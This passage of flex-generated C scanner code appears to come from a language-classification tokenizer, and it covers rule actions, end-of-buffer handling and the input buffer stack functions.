}\n\tYY_BREAK\ncase 64:\nYY_RULE_SETUP\n#line 156 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 65:\nYY_RULE_SETUP\n#line 157 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 66:\nYY_RULE_SETUP\n#line 158 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 67:\nYY_RULE_SETUP\n#line 159 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 68:\nYY_RULE_SETUP\n#line 160 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 69:\nYY_RULE_SETUP\n#line 161 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 70:\nYY_RULE_SETUP\n#line 162 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 71:\nYY_RULE_SETUP\n#line 163 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 72:\nYY_RULE_SETUP\n#line 164 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 73:\nYY_RULE_SETUP\n#line 165 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 74:\nYY_RULE_SETUP\n#line 166 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 75:\nYY_RULE_SETUP\n#line 167 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 76:\nYY_RULE_SETUP\n#line 168 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 77:\nYY_RULE_SETUP\n#line 169 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 78:\nYY_RULE_SETUP\n#line 170 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 79:\nYY_RULE_SETUP\n#line 171 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 80:\nYY_RULE_SETUP\n#line 172 \"tokenizer.l\"\n{ FEED(); return 1; }\n\tYY_BREAK\ncase 81:\n/* rule 81 can match eol */\nYY_RULE_SETUP\n#line 174 \"tokenizer.l\"\n{ /* nothing */ }\n\tYY_BREAK\ncase 82:\nYY_RULE_SETUP\n#line 176 \"tokenizer.l\"\nYY_FATAL_ERROR( \"flex scanner jammed\" );\n\tYY_BREAK\n#line 1684 \"lex.linguist_yy.c\"\ncase YY_STATE_EOF(INITIAL):\ncase YY_STATE_EOF(c_comment):\ncase YY_STATE_EOF(xml_comment):\ncase YY_STATE_EOF(haskell_comment):\ncase YY_STATE_EOF(ocaml_comment):\ncase YY_STATE_EOF(python_dcomment):\ncase YY_STATE_EOF(python_scomment):\ncase YY_STATE_EOF(roff_comment):\ncase YY_STATE_EOF(lean_comment):\n\tyyterminate();\n\n\tcase YY_END_OF_BUFFER:\n\t\t{\n\t\t/* Amount of text matched not including the EOB char. */\n\t\tint yy_amount_of_matched_text = (int) (yy_cp - yyg->yytext_ptr) - 1;\n\n\t\t/* Undo the effects of YY_DO_BEFORE_ACTION. */\n\t\t*yy_cp = yyg->yy_hold_char;\n\t\tYY_RESTORE_YY_MORE_OFFSET\n\n\t\tif ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_NEW )\n\t\t\t{\n\t\t\t/* We're scanning a new file or input source.  It's\n\t\t\t * possible that this happened because the user\n\t\t\t * just pointed yyin at a new source and called\n\t\t\t * yylex().  If so, then we have to assure\n\t\t\t * consistency between YY_CURRENT_BUFFER and our\n\t\t\t * globals.  Here is the right place to do so, because\n\t\t\t * this is the first action (other than possibly a\n\t\t\t * back-up) that will match for the new input source.\n\t\t\t */\n\t\t\tyyg->yy_n_chars = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;\n\t\t\tYY_CURRENT_BUFFER_LVALUE->yy_input_file = yyin;\n\t\t\tYY_CURRENT_BUFFER_LVALUE->yy_buffer_status = YY_BUFFER_NORMAL;\n\t\t\t}\n\n\t\t/* Note that here we test for yy_c_buf_p \"<=\" to the position\n\t\t * of the first EOB in the buffer, since yy_c_buf_p will\n\t\t * already have been incremented past the NUL character\n\t\t * (since all states make transitions on EOB to the\n\t\t * end-of-buffer state).  Contrast this with the test\n\t\t * in input().\n\t\t */\n\t\tif ( yyg->yy_c_buf_p <= &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars] )\n\t\t\t{ /* This was really a NUL. */\n\t\t\tyy_state_type yy_next_state;\n\n\t\t\tyyg->yy_c_buf_p = yyg->yytext_ptr + yy_amount_of_matched_text;\n\n\t\t\tyy_current_state = yy_get_previous_state( yyscanner );\n\n\t\t\t/* Okay, we're now positioned to make the NUL\n\t\t\t * transition.  We couldn't have\n\t\t\t * yy_get_previous_state() go ahead and do it\n\t\t\t * for us because it doesn't know how to deal\n\t\t\t * with the possibility of jamming (and we don't\n\t\t\t * want to build jamming into it because then it\n\t\t\t * will run more slowly).\n\t\t\t */\n\n\t\t\tyy_next_state = yy_try_NUL_trans( yy_current_state , yyscanner);\n\n\t\t\tyy_bp = yyg->yytext_ptr + YY_MORE_ADJ;\n\n\t\t\tif ( yy_next_state )\n\t\t\t\t{\n\t\t\t\t/* Consume the NUL. */\n\t\t\t\tyy_cp = ++yyg->yy_c_buf_p;\n\t\t\t\tyy_current_state = yy_next_state;\n\t\t\t\tgoto yy_match;\n\t\t\t\t}\n\n\t\t\telse\n\t\t\t\t{\n\t\t\t\tyy_cp = yyg->yy_last_accepting_cpos;\n\t\t\t\tyy_current_state = yyg->yy_last_accepting_state;\n\t\t\t\tgoto yy_find_action;\n\t\t\t\t}\n\t\t\t}\n\n\t\telse switch ( yy_get_next_buffer( yyscanner ) )\n\t\t\t{\n\t\t\tcase EOB_ACT_END_OF_FILE:\n\t\t\t\t{\n\t\t\t\tyyg->yy_did_buffer_switch_on_eof = 0;\n\n\t\t\t\tif ( yywrap( yyscanner ) )\n\t\t\t\t\t{\n\t\t\t\t\t/* Note: because we've taken care in\n\t\t\t\t\t * yy_get_next_buffer() to have set up\n\t\t\t\t\t * yytext, we can now set up\n\t\t\t\t\t * yy_c_buf_p so that if some total\n\t\t\t\t\t * hoser (like flex itself) wants to\n\t\t\t\t\t * call the scanner after we return the\n\t\t\t\t\t * YY_NULL, it'll still work - another\n\t\t\t\t\t * YY_NULL will get returned.\n\t\t\t\t\t */\n\t\t\t\t\tyyg->yy_c_buf_p = yyg->yytext_ptr + YY_MORE_ADJ;\n\n\t\t\t\t\tyy_act = YY_STATE_EOF(YY_START);\n\t\t\t\t\tgoto do_action;\n\t\t\t\t\t}\n\n\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\tif ( ! yyg->yy_did_buffer_switch_on_eof )\n\t\t\t\t\t\tYY_NEW_FILE;\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\tcase EOB_ACT_CONTINUE_SCAN:\n\t\t\t\tyyg->yy_c_buf_p =\n\t\t\t\t\tyyg->yytext_ptr + yy_amount_of_matched_text;\n\n\t\t\t\tyy_current_state = yy_get_previous_state( yyscanner );\n\n\t\t\t\tyy_cp = yyg->yy_c_buf_p;\n\t\t\t\tyy_bp = yyg->yytext_ptr + YY_MORE_ADJ;\n\t\t\t\tgoto yy_match;\n\n\t\t\tcase EOB_ACT_LAST_MATCH:\n\t\t\t\tyyg->yy_c_buf_p =\n\t\t\t\t&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars];\n\n\t\t\t\tyy_current_state = yy_get_previous_state( yyscanner );\n\n\t\t\t\tyy_cp = yyg->yy_c_buf_p;\n\t\t\t\tyy_bp = yyg->yytext_ptr + YY_MORE_ADJ;\n\t\t\t\tgoto yy_find_action;\n\t\t\t}\n\t\tbreak;\n\t\t}\n\n\tdefault:\n\t\tYY_FATAL_ERROR(\n\t\t\t\"fatal flex scanner internal error--no action found\" );\n\t} /* end of action switch */\n\t\t} /* end of scanning one token */\n\t} /* end of user's declarations */\n} /* end of yylex */\n\n/* yy_get_next_buffer - try to read in a new buffer\n *\n * Returns a code representing an action:\n *\tEOB_ACT_LAST_MATCH -\n *\tEOB_ACT_CONTINUE_SCAN - continue scanning from current position\n *\tEOB_ACT_END_OF_FILE - end of file\n */\nstatic int yy_get_next_buffer (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\tchar *dest = YY_CURRENT_BUFFER_LVALUE->yy_ch_buf;\n\tchar *source = yyg->yytext_ptr;\n\tint number_to_move, i;\n\tint ret_val;\n\n\tif ( yyg->yy_c_buf_p > &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars + 1] )\n\t\tYY_FATAL_ERROR(\n\t\t\"fatal flex scanner internal error--end of buffer missed\" );\n\n\tif ( YY_CURRENT_BUFFER_LVALUE->yy_fill_buffer == 0 )\n\t\t{ /* Don't try to fill the buffer, so this is an EOF. */\n\t\tif ( yyg->yy_c_buf_p - yyg->yytext_ptr - YY_MORE_ADJ == 1 )\n\t\t\t{\n\t\t\t/* We matched a single character, the EOB, so\n\t\t\t * treat this as a final EOF.\n\t\t\t */\n\t\t\treturn EOB_ACT_END_OF_FILE;\n\t\t\t}\n\n\t\telse\n\t\t\t{\n\t\t\t/* We matched some text prior to the EOB, first\n\t\t\t * process it.\n\t\t\t */\n\t\t\treturn EOB_ACT_LAST_MATCH;\n\t\t\t}\n\t\t}\n\n\t/* Try to read more data. */\n\n\t/* First move last chars to start of buffer. */\n\tnumber_to_move = (int) (yyg->yy_c_buf_p - yyg->yytext_ptr - 1);\n\n\tfor ( i = 0; i < number_to_move; ++i )\n\t\t*(dest++) = *(source++);\n\n\tif ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_EOF_PENDING )\n\t\t/* don't do the read, it's not guaranteed to return an EOF,\n\t\t * just force an EOF\n\t\t */\n\t\tYY_CURRENT_BUFFER_LVALUE->yy_n_chars = yyg->yy_n_chars = 0;\n\n\telse\n\t\t{\n\t\t\tint num_to_read =\n\t\t\tYY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1;\n\n\t\twhile ( num_to_read <= 0 )\n\t\t\t{ /* Not enough room in the buffer - grow it. */\n\n\t\t\t/* just a shorter name for the current buffer */\n\t\t\tYY_BUFFER_STATE b = YY_CURRENT_BUFFER_LVALUE;\n\n\t\t\tint yy_c_buf_p_offset =\n\t\t\t\t(int) (yyg->yy_c_buf_p - b->yy_ch_buf);\n\n\t\t\tif ( b->yy_is_our_buffer )\n\t\t\t\t{\n\t\t\t\tint new_size = b->yy_buf_size * 2;\n\n\t\t\t\tif ( new_size <= 0 )\n\t\t\t\t\tb->yy_buf_size += b->yy_buf_size / 8;\n\t\t\t\telse\n\t\t\t\t\tb->yy_buf_size *= 2;\n\n\t\t\t\tb->yy_ch_buf = (char *)\n\t\t\t\t\t/* Include room in for 2 EOB chars. */\n\t\t\t\t\tyyrealloc( (void *) b->yy_ch_buf,\n\t\t\t\t\t\t\t (yy_size_t) (b->yy_buf_size + 2) , yyscanner );\n\t\t\t\t}\n\t\t\telse\n\t\t\t\t/* Can't grow it, we don't own it. */\n\t\t\t\tb->yy_ch_buf = NULL;\n\n\t\t\tif ( ! b->yy_ch_buf )\n\t\t\t\tYY_FATAL_ERROR(\n\t\t\t\t\"fatal error - scanner input buffer overflow\" );\n\n\t\t\tyyg->yy_c_buf_p = &b->yy_ch_buf[yy_c_buf_p_offset];\n\n\t\t\tnum_to_read = YY_CURRENT_BUFFER_LVALUE->yy_buf_size -\n\t\t\t\t\t\tnumber_to_move - 1;\n\n\t\t\t}\n\n\t\tif ( num_to_read > YY_READ_BUF_SIZE )\n\t\t\tnum_to_read = YY_READ_BUF_SIZE;\n\n\t\t/* Read in more data. */\n\t\tYY_INPUT( (&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move]),\n\t\t\tyyg->yy_n_chars, num_to_read );\n\n\t\tYY_CURRENT_BUFFER_LVALUE->yy_n_chars = yyg->yy_n_chars;\n\t\t}\n\n\tif ( yyg->yy_n_chars == 0 )\n\t\t{\n\t\tif ( number_to_move == YY_MORE_ADJ )\n\t\t\t{\n\t\t\tret_val = EOB_ACT_END_OF_FILE;\n\t\t\tyyrestart( yyin  , yyscanner);\n\t\t\t}\n\n\t\telse\n\t\t\t{\n\t\t\tret_val = EOB_ACT_LAST_MATCH;\n\t\t\tYY_CURRENT_BUFFER_LVALUE->yy_buffer_status =\n\t\t\t\tYY_BUFFER_EOF_PENDING;\n\t\t\t}\n\t\t}\n\n\telse\n\t\tret_val = EOB_ACT_CONTINUE_SCAN;\n\n\tif ((yyg->yy_n_chars + number_to_move) > YY_CURRENT_BUFFER_LVALUE->yy_buf_size) {\n\t\t/* Extend the array by 50%, plus the number we really need. */\n\t\tint new_size = yyg->yy_n_chars + number_to_move + (yyg->yy_n_chars >> 1);\n\t\tYY_CURRENT_BUFFER_LVALUE->yy_ch_buf = (char *) yyrealloc(\n\t\t\t(void *) YY_CURRENT_BUFFER_LVALUE->yy_ch_buf, (yy_size_t) new_size , yyscanner );\n\t\tif ( ! YY_CURRENT_BUFFER_LVALUE->yy_ch_buf )\n\t\t\tYY_FATAL_ERROR( \"out of dynamic memory in yy_get_next_buffer()\" );\n\t\t/* \"- 2\" to take care of EOB's */\n\t\tYY_CURRENT_BUFFER_LVALUE->yy_buf_size = (int) (new_size - 2);\n\t}\n\n\tyyg->yy_n_chars += number_to_move;\n\tYY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars] = YY_END_OF_BUFFER_CHAR;\n\tYY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars + 1] = YY_END_OF_BUFFER_CHAR;\n\n\tyyg->yytext_ptr = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[0];\n\n\treturn ret_val;\n}\n\n/* yy_get_previous_state - get the state just before the EOB char was reached */\n\n    static yy_state_type yy_get_previous_state (yyscan_t yyscanner)\n{\n\tyy_state_type yy_current_state;\n\tchar *yy_cp;\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n\tyy_current_state = yyg->yy_start;\n\tyy_current_state += YY_AT_BOL();\n\n\tfor ( yy_cp = yyg->yytext_ptr + YY_MORE_ADJ; yy_cp < yyg->yy_c_buf_p; ++yy_cp )\n\t\t{\n\t\tYY_CHAR yy_c = (*yy_cp ? yy_ec[YY_SC_TO_UI(*yy_cp)] : 1);\n\t\tif ( yy_accept[yy_current_state] )\n\t\t\t{\n\t\t\tyyg->yy_last_accepting_state = yy_current_state;\n\t\t\tyyg->yy_last_accepting_cpos = yy_cp;\n\t\t\t}\n\t\twhile ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )\n\t\t\t{\n\t\t\tyy_current_state = (int) yy_def[yy_current_state];\n\t\t\tif ( yy_current_state >= 261 )\n\t\t\t\tyy_c = yy_meta[yy_c];\n\t\t\t}\n\t\tyy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c];\n\t\t}\n\n\treturn yy_current_state;\n}\n\n/* yy_try_NUL_trans - try to make a transition on the NUL character\n *\n * synopsis\n *\tnext_state = yy_try_NUL_trans( current_state );\n */\n    static yy_state_type yy_try_NUL_trans  (yy_state_type yy_current_state , yyscan_t yyscanner)\n{\n\tint yy_is_jam;\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner; /* This var may be unused depending upon options. */\n\tchar *yy_cp = yyg->yy_c_buf_p;\n\n\tYY_CHAR yy_c = 1;\n\tif ( yy_accept[yy_current_state] )\n\t\t{\n\t\tyyg->yy_last_accepting_state = yy_current_state;\n\t\tyyg->yy_last_accepting_cpos = yy_cp;\n\t\t}\n\twhile ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )\n\t\t{\n\t\tyy_current_state = (int) yy_def[yy_current_state];\n\t\tif ( yy_current_state >= 261 )\n\t\t\tyy_c = yy_meta[yy_c];\n\t\t}\n\tyy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c];\n\tyy_is_jam = (yy_current_state == 260);\n\n\t(void)yyg;\n\treturn yy_is_jam ? 0 : yy_current_state;\n}\n\n#ifndef YY_NO_UNPUT\n\n#endif\n\n#ifndef YY_NO_INPUT\n#ifdef __cplusplus\n    static int yyinput (yyscan_t yyscanner)\n#else\n    static int input  (yyscan_t yyscanner)\n#endif\n\n{\n\tint c;\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n\t*yyg->yy_c_buf_p = yyg->yy_hold_char;\n\n\tif ( *yyg->yy_c_buf_p == YY_END_OF_BUFFER_CHAR )\n\t\t{\n\t\t/* yy_c_buf_p now points to the character we want to return.\n\t\t * If this occurs *before* the EOB characters, then it's a\n\t\t * valid NUL; if not, then we've hit the end of the buffer.\n\t\t */\n\t\tif ( yyg->yy_c_buf_p < &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[yyg->yy_n_chars] )\n\t\t\t/* This was really a NUL. */\n\t\t\t*yyg->yy_c_buf_p = '\\0';\n\n\t\telse\n\t\t\t{ /* need more input */\n\t\t\tint offset = (int) (yyg->yy_c_buf_p - yyg->yytext_ptr);\n\t\t\t++yyg->yy_c_buf_p;\n\n\t\t\tswitch ( yy_get_next_buffer( yyscanner ) )\n\t\t\t\t{\n\t\t\t\tcase EOB_ACT_LAST_MATCH:\n\t\t\t\t\t/* This happens because yy_g_n_b()\n\t\t\t\t\t * sees that we've accumulated a\n\t\t\t\t\t * token and flags that we need to\n\t\t\t\t\t * try matching the token before\n\t\t\t\t\t * proceeding.  But for input(),\n\t\t\t\t\t * there's no matching to consider.\n\t\t\t\t\t * So convert the EOB_ACT_LAST_MATCH\n\t\t\t\t\t * to EOB_ACT_END_OF_FILE.\n\t\t\t\t\t */\n\n\t\t\t\t\t/* Reset buffer status. */\n\t\t\t\t\tyyrestart( yyin , yyscanner);\n\n\t\t\t\t\t/*FALLTHROUGH*/\n\n\t\t\t\tcase EOB_ACT_END_OF_FILE:\n\t\t\t\t\t{\n\t\t\t\t\tif ( yywrap( yyscanner ) )\n\t\t\t\t\t\treturn 0;\n\n\t\t\t\t\tif ( ! yyg->yy_did_buffer_switch_on_eof )\n\t\t\t\t\t\tYY_NEW_FILE;\n#ifdef __cplusplus\n\t\t\t\t\treturn yyinput(yyscanner);\n#else\n\t\t\t\t\treturn input(yyscanner);\n#endif\n\t\t\t\t\t}\n\n\t\t\t\tcase EOB_ACT_CONTINUE_SCAN:\n\t\t\t\t\tyyg->yy_c_buf_p = yyg->yytext_ptr + offset;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\tc = *(unsigned char *) yyg->yy_c_buf_p;\t/* cast for 8-bit char's */\n\t*yyg->yy_c_buf_p = '\\0';\t/* preserve yytext */\n\tyyg->yy_hold_char = *++yyg->yy_c_buf_p;\n\n\tYY_CURRENT_BUFFER_LVALUE->yy_at_bol = (c == '\\n');\n\n\treturn c;\n}\n#endif\t/* ifndef YY_NO_INPUT */\n\n/** Immediately switch to a different input stream.\n * @param input_file A readable stream.\n * @param yyscanner The scanner object.\n * @note This function does not reset the start condition to @c INITIAL .\n */\n    void yyrestart  (FILE * input_file , yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n\tif ( ! YY_CURRENT_BUFFER ){\n        yyensure_buffer_stack (yyscanner);\n\t\tYY_CURRENT_BUFFER_LVALUE =\n            yy_create_buffer( yyin, YY_BUF_SIZE , yyscanner);\n\t}\n\n\tyy_init_buffer( YY_CURRENT_BUFFER, input_file , yyscanner);\n\tyy_load_buffer_state( yyscanner );\n}\n\n/** Switch to a different input buffer.\n * @param new_buffer The new input buffer.\n * @param yyscanner The scanner object.\n */\n    void yy_switch_to_buffer  (YY_BUFFER_STATE  new_buffer , yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n\t/* TODO. We should be able to replace this entire function body\n\t * with\n\t *\t\tyypop_buffer_state();\n\t *\t\tyypush_buffer_state(new_buffer);\n     */\n\tyyensure_buffer_stack (yyscanner);\n\tif ( YY_CURRENT_BUFFER == new_buffer )\n\t\treturn;\n\n\tif ( YY_CURRENT_BUFFER )\n\t\t{\n\t\t/* Flush out information for old buffer. */\n\t\t*yyg->yy_c_buf_p = yyg->yy_hold_char;\n\t\tYY_CURRENT_BUFFER_LVALUE->yy_buf_pos = yyg->yy_c_buf_p;\n\t\tYY_CURRENT_BUFFER_LVALUE->yy_n_chars = yyg->yy_n_chars;\n\t\t}\n\n\tYY_CURRENT_BUFFER_LVALUE = new_buffer;\n\tyy_load_buffer_state( yyscanner );\n\n\t/* We don't actually know whether we did this switch during\n\t * EOF (yywrap()) processing, but the only time this flag\n\t * is looked at is after yywrap() is called, so it's safe\n\t * to go ahead and always set it.\n\t */\n\tyyg->yy_did_buffer_switch_on_eof = 1;\n}\n\nstatic void yy_load_buffer_state  (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\tyyg->yy_n_chars = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;\n\tyyg->yytext_ptr = yyg->yy_c_buf_p = YY_CURRENT_BUFFER_LVALUE->yy_buf_pos;\n\tyyin = YY_CURRENT_BUFFER_LVALUE->yy_input_file;\n\tyyg->yy_hold_char = *yyg->yy_c_buf_p;\n}\n\n/** Allocate and initialize an input buffer state.\n * @param file A readable stream.\n * @param size The character buffer size in bytes. When in doubt, use @c YY_BUF_SIZE.\n * @param yyscanner The scanner object.\n * @return the allocated buffer state.\n */\n    YY_BUFFER_STATE yy_create_buffer  (FILE * file, int  size , yyscan_t yyscanner)\n{\n\tYY_BUFFER_STATE b;\n    \n\tb = (YY_BUFFER_STATE) yyalloc( sizeof( struct yy_buffer_state ) , yyscanner );\n\tif ( ! b )\n\t\tYY_FATAL_ERROR( \"out of dynamic memory in yy_create_buffer()\" );\n\n\tb->yy_buf_size = size;\n\n\t/* yy_ch_buf has to be 2 characters longer than the size given because\n\t * we need to put in 2 end-of-buffer characters.\n\t */\n\tb->yy_ch_buf = (char *) yyalloc( (yy_size_t) (b->yy_buf_size + 2) , yyscanner );\n\tif ( ! b->yy_ch_buf )\n\t\tYY_FATAL_ERROR( \"out of dynamic memory in yy_create_buffer()\" );\n\n\tb->yy_is_our_buffer = 1;\n\n\tyy_init_buffer( b, file , yyscanner);\n\n\treturn b;\n}\n\n/** Destroy the buffer.\n * @param b a buffer created with yy_create_buffer()\n * @param yyscanner The scanner object.\n */\n    void yy_delete_buffer (YY_BUFFER_STATE  b , yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n\tif ( ! b )\n\t\treturn;\n\n\tif ( b == YY_CURRENT_BUFFER ) /* Not sure if we should pop here. */\n\t\tYY_CURRENT_BUFFER_LVALUE = (YY_BUFFER_STATE) 0;\n\n\tif ( b->yy_is_our_buffer )\n\t\tyyfree( (void *) b->yy_ch_buf , yyscanner );\n\n\tyyfree( (void *) b , yyscanner );\n}\n\n/* Initializes or reinitializes a buffer.\n * This function is sometimes called more than once on the same buffer,\n * such as during a yyrestart() or at EOF.\n */\n    static void yy_init_buffer  (YY_BUFFER_STATE  b, FILE * file , yyscan_t yyscanner)\n\n{\n\tint oerrno = errno;\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n\tyy_flush_buffer( b , yyscanner);\n\n\tb->yy_input_file = file;\n\tb->yy_fill_buffer = 1;\n\n    /* If b is the current buffer, then yy_init_buffer was _probably_\n     * called from yyrestart() or through yy_get_next_buffer.\n     * In that case, we don't want to reset the lineno or column.\n     */\n    if (b != YY_CURRENT_BUFFER){\n        b->yy_bs_lineno = 1;\n        b->yy_bs_column = 0;\n    }\n\n        b->yy_is_interactive = 0;\n    \n\terrno = oerrno;\n}\n\n/** Discard all buffered characters. On the next scan, YY_INPUT will be called.\n * @param b the buffer state to be flushed, usually @c YY_CURRENT_BUFFER.\n * @param yyscanner The scanner object.\n */\n    void yy_flush_buffer (YY_BUFFER_STATE  b , yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\tif ( ! b )\n\t\treturn;\n\n\tb->yy_n_chars = 0;\n\n\t/* We always need two end-of-buffer characters.  The first causes\n\t * a transition to the end-of-buffer state.  The second causes\n\t * a jam in that state.\n\t */\n\tb->yy_ch_buf[0] = YY_END_OF_BUFFER_CHAR;\n\tb->yy_ch_buf[1] = YY_END_OF_BUFFER_CHAR;\n\n\tb->yy_buf_pos = &b->yy_ch_buf[0];\n\n\tb->yy_at_bol = 1;\n\tb->yy_buffer_status = YY_BUFFER_NEW;\n\n\tif ( b == YY_CURRENT_BUFFER )\n\t\tyy_load_buffer_state( yyscanner );\n}\n\n/** Pushes the new state onto the stack. The new state becomes\n *  the current state. This function will allocate the stack\n *  if necessary.\n *  @param new_buffer The new state.\n *  @param yyscanner The scanner object.\n */\nvoid yypush_buffer_state (YY_BUFFER_STATE new_buffer , yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\tif (new_buffer == NULL)\n\t\treturn;\n\n\tyyensure_buffer_stack(yyscanner);\n\n\t/* This block is copied from yy_switch_to_buffer. */\n\tif ( YY_CURRENT_BUFFER )\n\t\t{\n\t\t/* Flush out information for old buffer. */\n\t\t*yyg->yy_c_buf_p = yyg->yy_hold_char;\n\t\tYY_CURRENT_BUFFER_LVALUE->yy_buf_pos = yyg->yy_c_buf_p;\n\t\tYY_CURRENT_BUFFER_LVALUE->yy_n_chars = yyg->yy_n_chars;\n\t\t}\n\n\t/* Only push if top exists. Otherwise, replace top. */\n\tif (YY_CURRENT_BUFFER)\n\t\tyyg->yy_buffer_stack_top++;\n\tYY_CURRENT_BUFFER_LVALUE = new_buffer;\n\n\t/* copied from yy_switch_to_buffer. */\n\tyy_load_buffer_state( yyscanner );\n\tyyg->yy_did_buffer_switch_on_eof = 1;\n}\n\n/** Removes and deletes the top of the stack, if present.\n *  The next element becomes the new top.\n *  @param yyscanner The scanner object.\n */\nvoid yypop_buffer_state (yyscan_t yyscanner)\n{\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\tif (!YY_CURRENT_BUFFER)\n\t\treturn;\n\n\tyy_delete_buffer(YY_CURRENT_BUFFER , yyscanner);\n\tYY_CURRENT_BUFFER_LVALUE = NULL;\n\tif (yyg->yy_buffer_stack_top > 0)\n\t\t--yyg->yy_buffer_stack_top;\n\n\tif (YY_CURRENT_BUFFER) {\n\t\tyy_load_buffer_state( yyscanner );\n\t\tyyg->yy_did_buffer_switch_on_eof = 1;\n\t}\n}\n\n/* Allocates the stack if it does not exist.\n *  Guarantees space for at least one push.\n */\nstatic void yyensure_buffer_stack (yyscan_t yyscanner)\n{\n\tyy_size_t num_to_alloc;\n    struct yyguts_t * yyg = (struct yyguts_t*)yyscanner;\n\n\tif (!yyg->yy_buffer_stack) {\n\n\t\t/* First allocation is just for 2 elements, since we don't know if this\n\t\t * scanner will even need a stack. We use 2 instead of 1 to avoid an\n\t\t * immediate realloc on the next call.\n         */\n      num_to_alloc = 1; /* After all that talk, this was set to 1 anyways... */\n\t\tyyg->yy_buffer_stack = (struct yy_buffer_state**)yyalloc\n\t\t\t\t\t\t\t\t(num_to_alloc * sizeof(struct yy_buffer_state*)\n\t\t\t\t\t\t\t\t, yyscanner);\n\t\tif ( ! yyg->yy_buffer_stack )\n\t\t\tYY_FATAL_ERROR( \"out of dynamic memory in yyensure_buffer_stack()\" );\n\n\t\tmemset(yyg->yy_buffer_stack, 0, num_to_alloc * sizeof(struct yy_buffer_state*));\n\n\t\tyyg->yy_buffer_stack_max = num_to_alloc;\n\t\tyyg->yy_buffer_stack_top = 0;\n\t\treturn;\n\t}\n\n\tif (yyg->yy_buffer_stack_top >= (yyg->yy_buffer_stack_max) - 1){\n\n\t\t/* Increase the buffer to prepare for a possible push. */\n\t\tyy_size_t grow_size = 8 /* arbitrary grow size */;\n\n\t\tnum_to_alloc = yyg->yy_buffer_stack_max + grow_size;\n\t\tyyg->yy_buffer_stack = (struct yy_buffer_state**)yyrealloc\n\t\t\t\t\t\t\t\t(yyg->yy_buffer_stack,\n\t\t\t\t\t\t\t\tnum_to_alloc * sizeof(struct yy_buffer_state*)\n\t\t\t\t\t\t\t\t, yyscanner);\n\t\tif ( ! yyg->yy_buffer_stack )\n\t\t\tYY_FATAL_ERROR( \"out of dynamic memory in yyensure_buffer_stack()\" );\n\n\t\t/* zero only the new slots.*/\n\t\tmemset(yyg->yy_buffer_stack + yyg->yy_buffer_stack_max, 0, grow_size * sizeof(struct yy_buffer_state*));\n\t\tyyg->yy_buffer_stack_max = num_to_alloc;\n\t}\n}\n\n/** Setup the input buffer state to scan directly from a user-specified character buffer.\n * @param base the character buffer\n * @param size the size in bytes of the character buffer\n * @param yyscanner The scanner object.\n * @return the newly allocated buffer state object.\n */\nYY_BUFFER_STATE yy_scan_buffer  (char * base, yy_size_t  size , yyscan_t yyscanner)\n{\n\tYY_BUFFER_STATE b;\n    \n\tif ( size < 2 ||\n\t     base[size-2] != YY_END_OF_BUFFER_CHAR ||\n\t     base[size-1] != YY_END_OF_BUFFER_CHAR )\n\t\t/* They forgot to leave room for the EOB's. */\n\t\treturn NULL;\n\n\tb = (YY_BUFFER_STATE) yyalloc( sizeof( struct yy_buffer_state ) , yyscanner );\n\tif ( ! b )\n\t\tYY_FATAL_ERROR( \"out of dynamic memory in 